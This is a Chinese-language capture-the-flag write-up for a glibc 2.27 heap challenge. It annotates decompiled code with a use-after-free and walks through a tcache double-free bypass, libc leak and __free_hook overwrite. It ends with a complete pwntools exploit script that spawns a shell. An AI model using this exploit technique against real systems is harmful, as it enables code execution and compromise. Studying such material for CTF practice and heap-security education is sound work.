Checksec & IDA
保护全开,看看源码:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF
v3[1] = __readfsqword(0x28u);
sub_AC0(a1, a2, a3);
while ( 1 )
{
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
__printf_chk(1LL, "Your choice: ");
__isoc99_scanf(&format, v3);
switch ( v3[0] )
{
case 1LL:
allocate();
break;
case 2LL:
edit();
break;
case 3LL:
show();
break;
case 4LL:
delete();
break;
case 5LL:
exit(0);
default:
puts("Unknown");
break;
}
}
}
unsigned __int64 allocate()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&format, &size);
if ( !size )
{
__printf_chk(1LL, "Size: "); // index只能为0
__isoc99_scanf(&format, &size);
v1 = size;
if ( size > 0x78 ) // 最大申请一个0x78大小的堆
{
__printf_chk(1LL, "Too large");
}
else
{
v2 = malloc(size);
if ( v2 )
{
chunk_size = v1;
chunk_ptr = v2;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&format, &v1);
if ( !v1 && chunk_ptr ) // 如果v1为0,且buf不为空,则free堆
free(chunk_ptr); // UAF
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&format, &v1);
if ( !v1 && chunk_ptr ) // 如果v1为0,且chunk_ptr不为空指针,则执行
__printf_chk(1LL, "Content: %s\n", (const char *)chunk_ptr);// 输出chunk_ptr指向的内容
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf(&format, &v3);
if ( !v3 ) // 如果v3等于0,则执行
{
if ( chunk_ptr ) // 如果chunk指针不为空,则执行
{
__printf_chk(1LL, "Content: ");
v0 = chunk_ptr; // 将v0置为chunk指针
if ( chunk_size ) // 如果chunk大小不为0
{
v1 = (char *)chunk_ptr + chunk_size; // v1 = chunk_ptr + chunk_size,意思是v1指向堆块的末尾部分,因为ptr是开始,size是大小,ptr+size是结尾
while ( 1 )
{
read(0, v0, 1uLL); // 读入一个unsinged long long类型数据,写入堆中
if ( *v0 == 10 ) // 如果读取到换行符,则停止读取
break;
if ( ++v0 == v1 ) // 如果读取到了申请的堆的大小上限,则返回错误码
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0; // 将v0置零
}
}
}
return __readfsqword(0x28u) ^ v4;
}
具体分析都在注释里面,这里就不赘述了。
思路解析:
首先通过Double Free以及UAF漏洞泄露堆的地址,减去0x250+0x10获取tcache_struct地址并劫持。
然后修改tcache_struct中存储堆的数据,使系统认为tcache已满,使得free掉这个tcache_struct后放入unsorted bin中。
而当unsorted bin后面没有其他堆时,unsorted bin的fd指针会指向它位于main_arena的地址。
通过这个地址减去偏移以及头部数据的16个字节,即可获取libc基址,然后计算出free_hook和system的地址,送入binsh即可getshell。
具体步骤解析:
1.泄露tcache_struct地址:
首先申请一块堆:
malloc_chunk(0x28)
可以看到我们申请了0x28大小的堆,系统分配了一块0x30大小的堆给我们。
然后我们利用Double Free漏洞,使用UAF漏洞泄露地址。
这里有一点需要注意,本题的libc是新版的2.27,具有检测Double Free的机制。不能无脑free(),free(),free()。
但是其实绕过也很简单。机制是在tcache堆中的bk上存储了一段数据,称为key,如果检测到了key,即检测到Double Free。
就是这段数据。只要覆盖为任意数据,比如0000什么的就行。
edit_chunk(p64(0) * 2)
即可绕过检测机制。
成功利用Double Free后,我们可以发现tcache的fd指向了一个地址:
这里又涉及到一个知识点:tcache的fd指针指向的是userdata,而不是堆的起始。
也就是说,这个就是这个堆的地址+0x10,堆头的地址。
我们只需要减去0x260即可得到tcache_struct的起始地址。
我们只需要调用show函数就会打印出来tcache_struct的起始地址。
show_chunk()
io.recvuntil(b'Content: ')
tcache_struct_ptr = u64(io.recv(6).ljust(8, b'\x00'))
为什么这里是接收6个字节呢?
\20是空格,\0a是换行符。
因此我们只得到了6字节的数据,使用ljust填充到8位即可。
2.构造指向tcache_struct的堆
在第一步中我们得到了tcache_struct的起始地址,我们只需要+0x10即可得到tcache_struct的数据段地址,因为tcache_struct本身也是一个堆。
通过使用UAF漏洞,我们可以修改已被释放的堆的fd。
edit_chunk(p64(HADR+0x10))
这个fd指向的就是tcache_struct的userdata部分。
然后我们需要复用堆,第一次我们会拿到堆0x556dc35ad250,因为LIFO原则。
第二次我们就会拿到fd指向的tcache_struct。
3.劫持tcache_struct
在 glibc 2.31 及更早版本中,每个 tcache 链表最多可以存储 7 个堆块。但是,在 glibc 2.32 及更高版本中,这个值被增加到了 16。
本题是libc-2.27,因此tcache每个链表中只能存储7个大小一样的堆。我们只需要将存储堆的数据改成7,再free,就能将tcache放入unsorted bin中。
从右往左数,每2个0代表一个大小的tcache。第一组是0x20,第二组是0x30,以此类推。可得到我们现在存储了一个大小为0x30的堆。
为什么这里是
edit_chunk(p64(0) * 4 + p64(0x7000000))
而不是
edit_chunk(p64(0x0000070000000000))
呢?
因为这两个是不一样的东西,p64会封装为8字节长度的数据,而单单一个下面的p64修改是只能修改8个字节的。
我们是从0x55572db30010开始修改的,因此32个0,加上一个0x7000000,没有问题。
如果是第二个呢?
发现修改错地方了。
4.泄露malloc_hook地址
第三步中我们使得tcache再次free后就会被放入unsorted bin中,那么第四步我们就开始利用这点。
释放前是这样的:
free_chunk()
释放后:
可以看到我们tcache_struct的fd和bk皆指向了一个地址,我们使用telescope查看。
不难看出来这其实是main_arena的地址,偏移是96。
我们只需要减去96 + 0x10 + __malloc_hook的偏移就拿到了libc基址。
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (libc.sym['__malloc_hook'] + 0x70)
5.getshell
第四步我们拿到了libc地址,通过计算偏移我们可以得出__free_hook和system的地址:
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
然后就是getshell的堆利用部分。
首先我们申请了一个堆块:
malloc_chunk(0x78)
申请前:
申请后:
可以发现系统从0x55dc90f61000开辟了0x80,成了我们申请的堆块,变成了0x55dc90f61080,并且状态也改变了。
然后我们再释放这个堆块:
可以发现他指向一个不明地址,我们将这个地址修改为__free_hook的地址:
edit_chunk(p64(free_hook))
现在我们申请的堆块的fd已经指向__free_hook了,我们再申请2个堆块:
可以发现堆块数量并没有变,但是fd指针变了。事实上bins命令中发生了改变,但是我还不太理解是为什么。
![在这里插入图片描述](https://img-blog.csdnimg.cn/f1f152f3e98b4e8d817dc896ac658264.png
我们将最新的堆块的fd指针修改为system地址:
edit_chunk(p64(system))
发现还是没有变化
我们再申请一个堆块,发现堆的布局变了:
修改0x55dc90f61080的fd为/bin/sh
edit_chunk(b'/bin/sh\x00')
已经成功修改成了/bin/sh。接下来free掉这个chunk即可getshell。因为我们已经将__free_hook替换为了system函数。
但是堆中我实在看不出来有什么变化,等我什么时候看出来了更新一下本文。
EXP:
from pwn import *
from PwnModules import *
Local = 1
amd64 = 1
if Local == 1:
io = process('/home/kaguya/PwnExp/lonelywolf')
else:
io = remote('1.14.71.254',28383)
io = remote('192.168.1.197', 10000)
elf = ELF('/home/kaguya/PwnExp/lonelywolf')
if amd64 == 1:
context(arch='amd64', os='linux', log_level='debug')
else:
context(arch='i386', os='linux', log_level='debug')
libc = ELF('/home/kaguya/PwnExp/libc-2.27.so')
def choice(choice):
io.recvuntil(b'choice: ')
io.sendline(str(choice))
def malloc_chunk(index):
choice(1)
io.recvuntil(b'Index: ')
io.sendline(b'0')
io.recvuntil(b'Size: ')
io.sendline(str(index))
def edit_chunk(content):
choice(2)
io.recvuntil(b'Index: ')
io.sendline(b'0')
io.recvuntil(b'Content: ')
io.sendline(content)
def show_chunk():
choice(3)
io.recvuntil(b'Index: ')
io.sendline(b'0')
def free_chunk():
choice(4)
io.recvuntil(b'Index: ')
io.sendline(b'0')
log.success('Double Free 利用中')
malloc_chunk(0x28)
free_chunk()
edit_chunk(p64(0) * 2)
free_chunk()
log.success('Double Free 利用成功')
show_chunk()
io.recvuntil(b'Content: ')
Heap_Addr = u64(io.recv(6).ljust(8, b'\x00')) - 0x260
log.success('Tcache_Struct Address: ' + (hex(Heap_Addr)))
log.success('修改fd指向Tcache_Struct')
edit_chunk(p64(Heap_Addr + 0x10))
log.success('复用堆')
malloc_chunk(0x28)
log.success('复用堆')
malloc_chunk(0x28)
log.success('修改Tcache_Struct中存储有多少个堆的数据,使得系统认为Tcache已满,需要存放进unsorted bin')
edit_chunk(p64(0) * 4 + p64(0x7000000))
free_chunk()
show_chunk()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (libc.sym['__malloc_hook'] + 0x70)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
malloc_chunk(0x78)
free_chunk()
edit_chunk(p64(free_hook))
malloc_chunk(0x78)
malloc_chunk(0x78)
edit_chunk(p64(system))
malloc_chunk(0x78)
edit_chunk(b'/bin/sh\x00')
free_chunk()
io.interactive()
总的来说,收获很多。即使在大佬们眼里只是一道签到题,但是对目前的我来说已经是很难很难的题了。